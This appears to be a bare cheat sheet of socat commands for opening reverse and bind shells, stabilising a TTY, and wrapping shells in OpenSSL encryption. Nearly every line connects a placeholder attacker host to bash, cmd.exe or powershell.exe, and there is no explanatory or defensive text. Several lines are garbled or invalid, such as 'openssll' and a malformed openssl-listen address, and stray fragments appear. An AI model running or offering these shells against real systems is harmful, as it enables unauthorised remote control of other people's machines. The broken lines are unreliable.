socat tcp-l:<port> -
socat TCP-L:<PORT> file:`tty`,raw,echo=0
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
socat TCP:<TARGET-IP>:<TARGET-PORT> -
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
```socat TCP-L:
Binary is inside this dir
socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
socat openssl-listen:<port>,cert=shell.pem,verify=0 -
socat openssl-listen:<port>,cert=shell.pem,verify=0 file:`tty`,raw,echo=0
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:/bin/bash
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane
socat openssl-listen:<local-ip>:<local-port>,verify=0 exec:cmd.exe,pipes
socat openssl:<port>,cert=shell.pem,verify=0 -
Social_engineering